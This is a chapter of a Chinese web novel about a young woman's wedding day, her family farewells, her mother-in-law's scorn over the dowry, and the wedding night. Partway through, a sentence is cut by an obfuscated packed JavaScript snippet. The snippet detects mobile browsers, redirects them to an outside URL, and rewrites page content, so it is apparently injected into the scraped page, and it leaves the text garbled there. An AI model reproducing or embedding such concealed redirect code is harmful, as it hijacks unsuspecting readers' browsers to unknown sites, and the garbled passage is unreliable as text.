“其实结婚挺好的,女人嘛,总归要有个归宿,打工又不是长久的事。”贺香桃身上洋溢着新婚蜜月里的喜气,边给易临春梳头发,边讲述着夫妻俩的一些浪漫趣事。 柳允玟听了,撇了撇嘴,摆摆手,一副不以为然的表情。 易临春心情有些复杂,她和孟雪松从订婚到结婚这一年,两人相处的时间不多。 她因为彩礼的五百块钱用得差不多了,不得不在集体开工之外又去烧炭,想要多存点钱。 她除了分担一部分家里的开支,其余她自由支配。自订婚以后,易开元不再要求她赚的钱全部都上交给家里保管。 孟雪松因为学费暂时中断的学徒生涯,在她支付了学费后,继续拜师学艺,大部分时间也是早出晚归。论勤快,他确实无可挑剔。 只有在节假日的时候,他才会来他们家送节礼。两人很少单独出去逛一逛,偶尔一起去办点什么事,他也不会想到给她买个什么礼物。 总之,孟雪松这个人,跟浪漫搭不上边。 这是缺点,偶尔会让她内心有一点点小失落,但这也正是让她内心踏实的重要原因。 对于大多数人来说,鱼和熊掌不可兼得,是一种遗憾。 对于她来说,鱼和熊掌能得到一样,她都会感恩万分。一直以来,鱼和熊掌都是别人的,她永远是被牺牲的那一个。 窗外传来喜庆欢快的吹打声,应该是迎亲乐队到了。 这一刻,易临春内心是喜悦的,从心底深处泛起一股暖流,流遍全身。 这种喜悦,直到出发前,与亲人告别的环节,才被另一种沉重的幸福取代。 易开元与何淑秀一人拉着她的一只手。 “小五啊……”易开元刚开口叫了她的小名,嗓子就哽住了,再也说不出话来,眼泪在眼眶里淌了又淌,最终低下头,眼泪悄无声息地落在了地上,握着她的手越来越紧,仿佛想把两只手焊在一起。 孟雪松扶住他的手臂,“爸,我们离得又不远,会经常回来看你们的。” 易开元拍了拍他肩膀,说不出话来,只是不停地点头。 女婿是半个儿子,易开元一生都倍受命中无子的痛苦煎熬,自从他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274130|198158||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 订婚以来,他有了第一个女婿,如久旱遇甘露,整个人都神清气爽了。 何淑秀更是完美诠释了“丈母娘看女婿越看越满意”这一老人言,爱屋及乌,对她态度好了很多。 “姑娘啊,”何淑秀很少这样叫她,满是皱纹的脸表情严肃,清了清嗓子,郑重其事地叮嘱她,“婆家不比娘家,以后要收敛一下你的脾气,这是为你好,知道吗?” “知道了……妈,”易临春不知为何,突然觉得何淑秀没有那么讨厌了,“你跟我爸也要保重自己的身体。” “那是当然。”何淑秀扶着易开元往外走,像是要回避最后分别的那一幕。 易定春和易满春往前一步,易满春直接抱住了易临春,“临妹,二姐舍不得你呢……” “二姐……”易临春强忍着的眼泪,被“舍不得”这三个字,一下捅了出来。 “如果有人欺负你,一定要告诉我们,不要什么都不说,自己受委屈,你娘家是有人的,不是只有你一个人。记住了吗?”易满春说一句,拍一下她的背,像是要把这些话钉在她背上。 “你二姐说的对,不要总是把我们当外人,我们是亲姐妹,”易定春同样拍了拍易临春的背,看向旁边的孟雪松,“我们把临妹交给你了,你可不许欺负她。” 孟雪松使劲点头,“一定不会的。” “姐……”易念春挤进来,一把勾住易临春的脖子,两个手臂紧紧地箍住,哭得上气不接下气,直到外面有人催时间到了该出发了,才被易定春和易满春强行掰开。 送亲队伍走在乡间小路上,沿途经过之处,有不少人站在自家门口观望。 这或许是她长这么大,第一次成为众人瞩目的焦点。这种感觉既新奇,又有些不安。 虽是寒冬腊月,易临春全身热乎乎的,甚至脸上都是热辣辣的。 好在从娘家小袁湾到婆家小孟湾的这条路并不长。 随着孟家门口一串迎新娘的鞭炮声响,易临春终于走到了她人生新的一站,开启新的篇章。 孟雪松家屋后是一片田,远远能看到长乐江,江对面就是城里了。 他们家的房子结构与她娘家的差不多,不同的是,东西两边的厢房分别住了两户人家,共用中间的厅屋,几桌酒席就摆在厅屋里。 易临春到了新房,换了套衣服,出来与孟雪松一同给客人敬酒。 客人大多数是家族里的亲戚,堂叔堂伯,七大姑八大姨的,她一下也记不了那么多,只是跟着孟雪松叫人。 只有他妹妹带着一个五六岁的小男孩,给她留下了印象。 大人让小男孩叫她,叫了就会有红包。小男孩犹豫半天,最后问叫舅妈还是叫婶婶。还没人开口回答,小男孩就被拉走了。 这个小插曲之后,他们继续敬酒。敬完酒,她已经累得不行,又回到了新房,后面招待客人的事都交给了孟雪松。 “这一家也太寒酸了,嫁妆都没几件,挑夫挑着的那对红漆木箱,看起来轻得很,里面估计都是空的。” “是啊,听说给的彩礼也不少啊,看来娘家都吃进肚里填厕所了。” “这样的人家也是少见,我出世以来就没见过这样的人。” “唉,我命不好,遇到的都是这样的人,有什么办法。” “……” 贴着囍字的窗户外面,有人窃窃私语,可这声音着实不小,似乎并不怕她这个新娘听到。 其中有个人的声音很熟悉,她仔细辨认了一下,好像是孟雪松的母亲,也就是她的婆婆,胡玉娴。 他们订婚后,按照礼节,接她来过他们家。那时候,胡玉娴对她挺热情,完全不像今天这样说话冰冷鄙夷的语气。更奇怪的是,今天她好像一直没看到她。 易临春虽然对彩礼的事早就有过心理准备,可亲耳听到这样刺耳的话,还是很不舒服。 孟雪松把客人送走,回到房间,她忍不住问他,“我们彩礼的花费,我之前给你算过账,你没有给你妈和你们家的亲戚解释过吗?” “嘴长在别人身上,管那么多干什么?”孟雪松喝了酒,说话语气有点冲,把外面的衣服脱了,直接往床上一躺,连鞋都没脱。 “……”易临春被噎得说不出话来,想想今天这样特殊的日子,不可能为了这点事吵架,只能忍住,起身去外面洗刷完,打了盆热水进来。 她以为孟雪松已经睡着了,要给他脱鞋。他突然坐起来,自己动手,洗了脚。 “你先睡,我去拿个马桶进来。”他语气温和了很多,端着水盆出去了。 易临春胸口也没有之前那么堵了,脱了衣服,先躺下。 不久,她听到孟雪松拿了马桶进来。之后上床,脱了衣服,熄了灯,在她身后躺下。 过了一会儿,他从身后抱住了她。 她浑身的血仿佛凝固,脑海里有瞬间的空白。 新人入洞房,易临春对于这几个字的含义,在这一晚终于有了切实的体会,是青涩懵懂,是慌乱新奇,也是惊心动魄,百转千回。 依稀之中,她听到外面朝北的过道房间好像有人痛苦呻吟,仔细一听,又什么也没有。 她想着大概是她太过紧张的缘故,就没有放在心上,继续沉浸于作为一个新娘的幸福时光,跨过一道难以形容的甜蜜的坎,进入一个全新的世界,最后在疲惫中沉沉地睡去。